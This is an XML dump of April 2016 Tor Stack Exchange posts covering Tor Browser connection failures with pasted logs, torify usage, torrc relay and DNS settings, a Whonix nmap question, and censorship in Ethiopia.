  <row Id="10112" PostTypeId="5" CreationDate="2016-04-07T16:14:31.640" Score="0" Body="&lt;p&gt;An IP address is a label which is assigned to every device which is connected to a network. IP addresses come in different versions (IPv4 or IPv6).&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2016-04-07T16:14:31.640" LastActivityDate="2016-04-07T16:14:31.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10113" PostTypeId="4" CreationDate="2016-04-07T16:14:31.640" Score="0" Body="An IP address is a label which is assigned to every device which is connected to a network." OwnerUserId="88" LastEditorUserId="88" LastEditDate="2016-04-07T16:14:31.640" LastActivityDate="2016-04-07T16:14:31.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10114" PostTypeId="2" ParentId="10092" CreationDate="2016-04-07T16:38:17.853" Score="1" Body="&lt;p&gt;According to the Lifecycle of a New Relay, clients rotate their guards every 4-8 weeks. Even though your IP is changing, the computer is still the same client, so I imagine it will use the same guards. However, I don't know where this information would be stored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot; rel=&quot;nofollow&quot;&gt;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-04-07T16:38:17.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10117" PostTypeId="2" ParentId="9187" CreationDate="2016-04-08T04:20:41.747" Score="0" Body="&lt;p&gt;If you are on windows, it might work on other a different os too, up towards the left there's a green onion. Click on it and it will show your circuit on the right. The last one before it says internet is where your base ip address is coming from. If you want to change the ip click on 'New Tor Circuit for this Site' and It can change it to something else. (This might make you restart the browser. &lt;a href=&quot;https://i.stack.imgur.com/CMWUN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CMWUN.png&quot; alt=&quot;Picture of what I&amp;#39;m talking about.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12420" LastActivityDate="2016-04-08T04:20:41.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10118" PostTypeId="2" ParentId="4632" CreationDate="2016-04-08T09:30:37.603" Score="-1" Body="&lt;p&gt;Enable the dns function of tor. In &lt;code&gt;torrc&lt;/code&gt;, add the line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DNSPort 53&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you use unix, you will also need to add the line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;user tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to torrc and run tor as root, because it needs to bind to port 53.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And configure your operating system to use &lt;code&gt;localhost&lt;/code&gt; as DNS server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also other ways, such as using a caching dns server.&lt;/p&gt;&#xA;" OwnerUserId="12198" LastActivityDate="2016-04-08T09:30:37.603" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10121" PostTypeId="1" CreationDate="2016-04-09T09:37:06.357" Score="1" ViewCount="133" Body="&lt;p&gt;Russian text:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Доброе утро !&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    Я 2 месяца не пользовался Tor Browser... А потом, возникла необходимость воспользоваться Tor Browser, и я запустил этот броузер (ранее был установлен в моём&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;компьютере; в дирректории: C:\Program Files\Tor Browser). Но, после запуска Tor Browser - он так и не запустился ! Я ждал, когда броузер запустится до конца,&#xA;но он так и не запустился...! Я проделеал три попытки запуска; и скопировал в буфер обмена - три отчёта (об неудавшихся попытках) !&#xA;               Предлагаю Вашему вниманию этих три отчёта, которые прикрепил к своему письму и отправил к Вам по E-mail. Помогите мне пожалуйста ! Помогите мне&#xA;пожалуйста решить проблему запуска и запустить Tor Browser в моём компьютере ! У меня операционная система Microsoft Windows - Версия 6.1 (сборка 7601: Service&#xA;Pack 1); Windows7 Professional.&#xA;         Ответьте мне пожалуйста ! Заранее благодарен.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;С уважением, Алексей.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;English text:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good morning!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 2 months did not use the Tor Browser Bundle. Then, it became necessary to use the Tor Browser Bundle, and I launched this browser (was previously installed  in my computer; in the directory: C:\Program Files\Tor Browser). But, after running the Tor Browser Bundle-he does not start! I've been waiting for when the browser  starts to end,&#xA;but he did not start ...! I prodeleal three attempts to launch; and copied to the Clipboard-three report (about the failed attempt)!&#xA;                   I bring to your attention these three report that attached to his letter and sent to you by E-mail. Help me please! Help me Please solve the problem start and run Tor Browser in my computer! I have the Microsoft Windows operating system version 6.1 (build 7601: Service Pack 1); Windows7 Professional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Answer me please! Beforehand grateful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards, Alex. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;09.04.2016 0:28:09.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09.04.2016 0:28:09.400 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;09.04.2016 0:28:17.100 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;09.04.2016 0:28:17.100 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;09.04.2016 0:28:17.500 [WARN] Proxy Client: unable to connect to     109.105.109.147:13764 (&quot;general SOCKS server failure&quot;) &#xA;09.04.2016 0:28:17.500 [WARN] Proxy Client: unable to connect to 109.105.109.165:10527 (&quot;general SOCKS server failure&quot;) &#xA;09.04.2016 0:28:17.800 [WARN] Proxy Client: unable to connect to 198.245.60.50:443 (&quot;general SOCKS server failure&quot;) &#xA;09.04.2016 0:28:17.800 [WARN] Proxy Client: unable to connect to 192.99.11.54:443 (&quot;general SOCKS server failure&quot;) &#xA;09.04.2016 0:28:17.900 [WARN] Proxy Client: unable to connect to 83.212.101.3:41213 (&quot;general SOCKS server failure&quot;) &#xA;09.04.2016 0:28:17.900 [WARN] Proxy Client: unable to connect to 154.35.22.12:80 (&quot;general SOCKS server failure&quot;) &#xA;09.04.2016 0:28:18.000 [WARN] Proxy Client: unable to connect to 154.35.22.10:41835 (&quot;general SOCKS server failure&quot;) &#xA;09.04.2016 0:28:18.000 [WARN] Proxy Client: unable to connect to 154.35.22.13:443 (&quot;general SOCKS server failure&quot;) &#xA;09.04.2016 0:28:19.100 [WARN] Proxy Client: unable to connect to 104.131.108.182:56880 (&quot;general SOCKS server failure&quot;) &#xA;09.04.2016 0:28:19.100 [WARN] Proxy Client: unable to connect to 154.35.22.11:80 (&quot;general SOCKS server failure&quot;) &#xA;09.04.2016 0:29:14.500 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;09.04.2016 0:29:14.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09.04.2016 0:29:14.500 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;09.04.2016 0:29:56.200 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;09.04.2016 0:30:03.300 [WARN] Proxy Client: unable to connect to 109.105.109.165:10527 (&quot;general SOCKS server failure&quot;) &#xA;09.04.2016 0:30:03.400 [WARN] Proxy Client: unable to connect to 109.105.109.147:13764 (&quot;general SOCKS server failure&quot;) &#xA;09.04.2016 0:30:03.500 [WARN] Proxy Client: unable to connect to 192.99.11.54:443 (&quot;general SOCKS server failure&quot;) &#xA;09.04.2016 0:30:03.700 [WARN] Proxy Client: unable to connect to 198.245.60.50:443 (&quot;general SOCKS server failure&quot;) &#xA;09.04.2016 0:30:03.700 [WARN] Proxy Client: unable to connect to 83.212.101.3:41213 (&quot;general SOCKS server failure&quot;) &#xA;09.04.2016 0:30:03.800 [WARN] Proxy Client: unable to connect to 154.35.22.10:41835 (&quot;general SOCKS server failure&quot;) &#xA;09.04.2016 0:30:03.800 [WARN] Proxy Client: unable to connect to 154.35.22.12:80 (&quot;general SOCKS server failure&quot;) &#xA;09.04.2016 0:30:03.800 [WARN] Proxy Client: unable to connect to 154.35.22.13:443 (&quot;general SOCKS server failure&quot;) &#xA;09.04.2016 0:30:04.600 [WARN] Proxy Client: unable to connect to 104.131.108.182:56880 (&quot;general SOCKS server failure&quot;) &#xA;09.04.2016 0:30:04.700 [WARN] Proxy Client: unable to connect to 154.35.22.11:80 (&quot;general SOCKS server failure&quot;) &#xA;09.04.2016 0:30:18.100 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;09.04.2016 0:30:18.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09.04.2016 0:30:18.100 [NOTICE] Closing old Socks listener on 127.0.0.1:9150&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;09.04.2016 0:17:40.100 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;09.04.2016 0:17:40.200 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;09.04.2016 0:17:40.500 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;09.04.2016 0:17:40.600 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;09.04.2016 0:17:40.700 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;09.04.2016 0:19:39.200 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:443. Giving up. (waiting for circuit) &#xA;09.04.2016 0:22:13.900 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;09.04.2016 0:22:13.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09.04.2016 0:22:13.900 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;09.04.2016 0:22:15.400 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;09.04.2016 0:22:47.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09.04.2016 0:22:47.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09.04.2016 0:22:47.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09.04.2016 0:22:47.200 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;09.04.2016 0:22:47.200 [NOTICE] Renaming old configuration file to &quot;C:\Program Files\Tor Browser\Browser\TorBrowser\Data\Tor\torrc.orig.2&quot; &#xA;09.04.2016 0:22:57.300 [WARN] Proxy Client: unable to connect to 109.105.109.147:13764 (&quot;general SOCKS server failure&quot;) &#xA;09.04.2016 0:22:57.400 [WARN] Proxy Client: unable to connect to 109.105.109.165:10527 (&quot;general SOCKS server failure&quot;) &#xA;09.04.2016 0:22:57.600 [WARN] Proxy Client: unable to connect to 154.35.22.12:80 (&quot;general SOCKS server failure&quot;) &#xA;09.04.2016 0:22:57.700 [WARN] Proxy Client: unable to connect to 198.245.60.50:443 (&quot;general SOCKS server failure&quot;) &#xA;09.04.2016 0:22:57.700 [WARN] Proxy Client: unable to connect to 192.99.11.54:443 (&quot;general SOCKS server failure&quot;) &#xA;09.04.2016 0:22:57.800 [WARN] Proxy Client: unable to connect to 83.212.101.3:41213 (&quot;general SOCKS server failure&quot;) &#xA;09.04.2016 0:22:57.900 [WARN] Proxy Client: unable to connect to 154.35.22.13:443 (&quot;general SOCKS server failure&quot;) &#xA;09.04.2016 0:22:57.900 [WARN] Proxy Client: unable to connect to 154.35.22.10:41835 (&quot;general SOCKS server failure&quot;) &#xA;09.04.2016 0:22:58.700 [WARN] Proxy Client: unable to connect to 104.131.108.182:56880 (&quot;general SOCKS server failure&quot;) &#xA;09.04.2016 0:22:58.800 [WARN] Proxy Client: unable to connect to 154.35.22.11:443 (&quot;general SOCKS server failure&quot;) &#xA;09.04.2016 0:23:17.800 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;09.04.2016 0:23:17.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09.04.2016 0:23:17.800 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12431" LastEditorUserId="9291" LastEditDate="2016-04-10T20:14:55.053" LastActivityDate="2016-04-10T20:14:55.053" Title="Answer me please; Tor doesn't work!" Tags="|torsocks|" AnswerCount="0" CommentCount="13" ClosedDate="2016-04-29T17:36:17.023" ContentLicense="CC BY-SA 3.0" />
  <row Id="10127" PostTypeId="1" CreationDate="2016-04-09T22:38:01.727" Score="3" ViewCount="3441" Body="&lt;p&gt;Is it possible to have Add-On on Tor browser to directly download videos from the net? I have tried downloading a Firefox Add-On like VideoDownloader.net but it doesn't seem to work on Tor Browser? Help will be much appreciated and a link can also be of essence.&lt;/p&gt;&#xA;" OwnerUserId="12437" LastActivityDate="2022-03-04T04:03:45.303" Title="Add-Ons On Tor Browser" Tags="|add-on|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10129" PostTypeId="1" AcceptedAnswerId="10130" CreationDate="2016-04-09T23:20:50.490" Score="4" ViewCount="15670" Body="&lt;p&gt;I am running &lt;a href=&quot;https://njw.name/getxbook/getxbook-1.2.tar.xz&quot; rel=&quot;nofollow&quot;&gt;some programs&lt;/a&gt; in Bash in Ubuntu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The programs download something using network sockets. Their README file says they can be used with tor, and I hope to change the external IP address by using tor with the programs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to look up how to use tor with a program in shell on the Internet including tor's official website, but I haven't found a step-by-step explanation. Could you show me how to use a program with tor in Bash, and maybe also point to some resources for learning? (I have some but not much knowledge about networks and network programming.) Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5117" LastActivityDate="2022-11-14T18:51:21.953" Title="How to use tor with a program in shell?" Tags="|linux|ubuntu|bash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10130" PostTypeId="2" ParentId="10129" CreationDate="2016-04-09T23:44:27.730" Score="3" Body="&lt;p&gt;From the README:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The getxbook program downloads books anonymously. Using it will still&#xA;  result in your IP address being logged (use&#xA;  &lt;strong&gt;torify&lt;/strong&gt; to stop this)...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/3918/how-to-anonymize-the-programs-from-the-terminal&quot;&gt;torify&lt;/a&gt; is tool that attempts to wrap your terminal command in a Tor session. There's a good tutorial on what you need to do, &lt;a href=&quot;https://linuxaria.com/howto/how-to-anonymize-the-programs-from-your-terminal-with-torify&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Then it's just a case of running:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;torify &amp;lt;your_command&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="1730" LastEditDate="2016-04-09T23:56:00.390" LastActivityDate="2016-04-09T23:56:00.390" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10131" PostTypeId="1" CreationDate="2016-04-10T02:19:16.793" Score="2" ViewCount="886" Body="&lt;p&gt;I run the following in ubuntu and bash. What do the missing symbols mean? Is it necessary to solve the problem? How shall I solve the problem? Thanks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ torify myprogram&#xA;22:12:35 libtorsocks(19139): WARNING: The symbol res_query() was not found in any shared library with the reported error: Not Found!&#xA;  Also, we failed to find the symbol __res_query() with the reported error: Not Found&#xA;22:12:35 libtorsocks(19139): WARNING: The symbol res_search() was not found in any shared library with the reported error: Not Found!&#xA;  Also, we failed to find the symbol __res_search() with the reported error: Not Found&#xA;22:12:35 libtorsocks(19139): WARNING: The symbol res_send() was not found in any shared library with the reported error: Not Found!&#xA;  Also, we failed to find the symbol __res_send() with the reported error: Not Found&#xA;22:12:35 libtorsocks(19139): WARNING: The symbol res_querydomain() was not found in any shared library with the reported error: Not Found!&#xA;  Also, we failed to find the symbol __res_querydomain() with the reported error: Not Found&#xA;22:12:35 libtorsocks(19140): WARNING: The symbol res_query() was not found in any shared library with the reported error: Not Found!&#xA;  Also, we failed to find the symbol __res_query() with the reported error: Not Found&#xA;22:12:35 libtorsocks(19140): WARNING: The symbol res_search() was not found in any shared library with the reported error: Not Found!&#xA;  Also, we failed to find the symbol __res_search() with the reported error: Not Found&#xA;22:12:35 libtorsocks(19140): WARNING: The symbol res_send() was not found in any shared library with the reported error: Not Found!&#xA;  Also, we failed to find the symbol __res_send() with the reported error: Not Found&#xA;22:12:35 libtorsocks(19140): WARNING: The symbol res_querydomain() was not found in any shared library with the reported error: Not Found!&#xA;  Also, we failed to find the symbol __res_querydomain() with the reported error: Not Found&#xA;22:12:35 libtorsocks(19137): WARNING: The symbol res_query() was not found in any shared library with the reported error: Not Found!&#xA;  Also, we failed to find the symbol __res_query() with the reported error: Not Found&#xA;22:12:35 libtorsocks(19137): WARNING: The symbol res_search() was not found in any shared library with the reported error: Not Found!&#xA;  Also, we failed to find the symbol __res_search() with the reported error: Not Found&#xA;22:12:35 libtorsocks(19137): WARNING: The symbol res_send() was not found in any shared library with the reported error: Not Found!&#xA;  Also, we failed to find the symbol __res_send() with the reported error: Not Found&#xA;22:12:35 libtorsocks(19137): WARNING: The symbol res_querydomain() was not found in any shared library with the reported error: Not Found!&#xA;  Also, we failed to find the symbol __res_querydomain() with the reported error: Not Found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5117" LastActivityDate="2017-06-15T00:32:36.680" Title="Several symbols not found when running torify" Tags="|linux|ubuntu|bash|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10132" PostTypeId="1" CreationDate="2016-04-10T03:15:01.367" Score="2" ViewCount="85" Body="&lt;p&gt;&lt;a href=&quot;https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=tor-browser-hardened&quot; rel=&quot;nofollow&quot;&gt;The package for Arch Linux&lt;/a&gt; currently depends on someone manually changing the &lt;code&gt;$pkgver&lt;/code&gt; variable every time the package is updated upstream. Is there a link that always redirects to the latest version of the package or a better way to detect what the current version is? I am aware that the releases are found &lt;a href=&quot;https://dist.torproject.org/torbrowser/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, but that doesn't have a static folder for the latest build.&lt;/p&gt;&#xA;" OwnerDisplayName="user994" LastEditorUserId="13768" LastEditDate="2016-09-13T09:54:35.913" LastActivityDate="2016-09-13T09:54:35.913" Title="How can I automatically get the latest version of the Browser?" Tags="|tor-browser-bundle|linux|update|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10133" PostTypeId="1" CreationDate="2016-04-10T04:22:00.963" Score="1" ViewCount="159" Body="&lt;p&gt;I've just started using the latest Tor Browser, connecting through my university connection. When I try to connect, it failed to establish connection with the network after waiting for a long time. Here are the logs. My operating system is Windows 10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/gHGJtQ6f&quot; rel=&quot;nofollow&quot;&gt;Tor Log at pastebin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12438" LastActivityDate="2016-04-10T04:22:00.963" Title="Failed connection to the Tor Network" Tags="|tor-browser-bundle|help|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10135" PostTypeId="1" CreationDate="2016-04-10T17:31:09.610" Score="1" ViewCount="9451" Body="&lt;p&gt;I can download the browser, but nothing happens when I click on it. Well, actually I see the Aero graphic (little blue circle) for a brief instant, then nothing. I can't get anything out of the downloaded file.&lt;/p&gt;&#xA;" OwnerUserId="12440" LastActivityDate="2022-04-09T12:02:05.287" Title="why can't I install Tor browser?" Tags="|windows|firefox|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="10136" PostTypeId="1" CreationDate="2016-04-10T21:26:10.570" Score="3" ViewCount="1895" Body="&lt;p&gt;Lately I've been messing around with Whonix, trying to figure out how it works. All of the problems I've encountered, I've been able to figure out, except one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't get nmap to work through the gateway. When I run nmap from my workstation to scan my server, it returns with a ridiculous amount of open ports (Probably more than 100). The latency is significantly less than 1 second, which also doesn't make sense. I think it might actually be scanning the whonix gateway -- maybe it has something to do with the firewall? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has any clue what's going on here that'd be much appreciated. Anything at all, really... I've basically hit a wall. &lt;/p&gt;&#xA;" OwnerUserId="12441" LastActivityDate="2016-05-14T20:18:34.267" Title="Portscan through whonix gateway" Tags="|whonix|" AnswerCount="2" CommentCount="2" ClosedDate="2016-05-25T22:31:32.207" ContentLicense="CC BY-SA 3.0" />
  <row Id="10137" PostTypeId="1" CreationDate="2016-04-10T22:27:56.037" Score="2" ViewCount="258" Body="&lt;p&gt;I have added these lines to torrc file (as describled on Tor's site):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ORPort 443&#xA;Exitpolicy reject *:*&#xA;Nickname ididntedittheconfig&#xA;ContactInfo human@...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But after that i cannot start Tor anymore... the only way to start it again is remove the above lines from the torrc file.&lt;/p&gt;&#xA;" OwnerUserId="12442" LastEditorUserId="88" LastEditDate="2016-04-11T10:43:49.860" LastActivityDate="2016-04-11T10:43:49.860" Title="trouble configuring a relay editing torrc file on windows" Tags="|configuration|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="10141" PostTypeId="1" CreationDate="2016-04-11T05:29:55.833" Score="3" ViewCount="121" Body="&lt;p&gt;Suppose there are two torified programs that are simultaneously running in the shell on the same computer (which uses a single network interface). Are the external IP addresses assigned to the two programs by tor the same or different? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5117" LastActivityDate="2023-11-16T15:27:58.560" Title="Are the external IP addresses the same for two torified programs simultaneously running?" Tags="|torsocks|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10142" PostTypeId="2" ParentId="10137" CreationDate="2016-04-11T08:40:57.917" Score="1" Body="&lt;p&gt;You can verify the config that Tor is using by passing it the &lt;code&gt;--verify-config&lt;/code&gt; flag on the command line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor --verify-config&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should help give you some idea as to which line is wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Substituting your lines into my config file and running the above command shows that Alexey's answer is correct:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Apr 11 09:39:13.779 [warn] Couldn't parse line &quot;:&quot;. Dropping&#xA;Apr 11 09:39:13.779 [warn] Malformed policy 'reject :'.&#xA;Apr 11 09:39:13.779 [warn] Failed to parse/validate config: Error in ExitPolicy entry.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-04-11T08:40:57.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10146" PostTypeId="1" CreationDate="2016-04-12T02:51:46.473" Score="1" ViewCount="107" Body="&lt;pre&gt;&lt;code&gt;4/11/2016 15:24:24 PM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/11/2016 15:24:24 PM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/11/2016 15:24:24 PM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/11/2016 15:24:24 PM.400 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;4/11/2016 15:24:30 PM.600 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;4/11/2016 15:24:30 PM.600 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;&#xA;BIG LIST OF BRIDGES HERE    &#xA;&#xA;4/11/2016 15:42:12 PM.700 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;4/11/2016 15:42:12 PM.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/11/2016 15:42:12 PM.700 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;&#xA;&#xA;4/12/2016 10:23:37 AM.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/12/2016 10:23:43 AM.300 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;4/12/2016 10:23:50 AM.400 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;4/12/2016 10:23:50 AM.500 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;&#xA;ANOTHER BIG LIST OF BRIDGES HERE    &#xA;&#xA;4/12/2016 10:23:52 AM.300 [WARN] Proxy Client: unable to connect to 104.131.108.182:56880 (&quot;general SOCKS server failure&quot;) &#xA;4/12/2016 10:31:53 AM.500 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;4/12/2016 10:31:53 AM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/12/2016 10:31:53 AM.500 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;&#xA;&#xA;4/12/2016 10:38:45 AM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/12/2016 10:40:18 AM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/12/2016 10:40:18 AM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/12/2016 10:40:18 AM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;4/12/2016 10:40:18 AM.800 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;4/12/2016 10:40:19 AM.800 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;4/12/2016 10:40:20 AM.000 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;4/12/2016 10:40:40 AM.800 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (Connection timed out [WSAETIMEDOUT ]; TIMEOUT; count 3; recommendation warn; host EEF0701D285E2FFA2DB552B1F6C363BB7F93E9A4 at 108.27.91.14:443) &#xA;4/12/2016 10:40:40 AM.800 [WARN] 2 connections have failed: &#xA;4/12/2016 10:40:40 AM.800 [WARN]  2 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12459" LastEditorUserId="1730" LastEditDate="2016-04-12T08:12:39.820" LastActivityDate="2016-04-12T13:16:22.223" Title="Tor Browser Log (General Socks Server Failure) ( Bridges Doesn't Work)" Tags="|socks|" AnswerCount="0" CommentCount="3" ClosedDate="2016-04-29T17:31:27.267" ContentLicense="CC BY-SA 3.0" />
  <row Id="10148" PostTypeId="1" CreationDate="2016-04-12T04:45:05.997" Score="2" ViewCount="320" Body="&lt;p&gt;The only ISP in Ethiopia (government owned) has been trying so hard to silence and disconnect bloggers, journalists and activists from the world ever since the current dictatorship came to power. Around May 2012 they blocked Tor and made the use of VoIP services like Skype regulated (in some cases illegal). Because of the monopoly, telephone costs are expensive and millions of us have been relying on VoIP services to communicate with and do businesses. Unfortunately as of April 2016 they completely blocked VoIP services and apps like Skype, Viber, Facebook, Whatsapp Messenger and many more because of the decreased revenue. Now I am not a blogger an activist or a political person. I am a good citizen who wants to work and contribute to my society. I am working on a big research and been communicating with scientists abroad and here via Skype and Whatsapp. The government's current actions have created immense pressure on our jobs. The only way of communication has become email and phone calls which is not enough. So me and my friends tried Tor via Bridges and Orbot on our phones. Most bridges are not working and the only bridge that worked on Orbot got blocked the next day. Dear people of the free world please let us know what we can do to connect to the world and do our jobs. Thanks a lot &lt;/p&gt;&#xA;" OwnerUserId="12460" LastActivityDate="2017-02-16T18:59:00.673" Title="Tor and Orbot not working in Ethiopia" Tags="|censorship|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
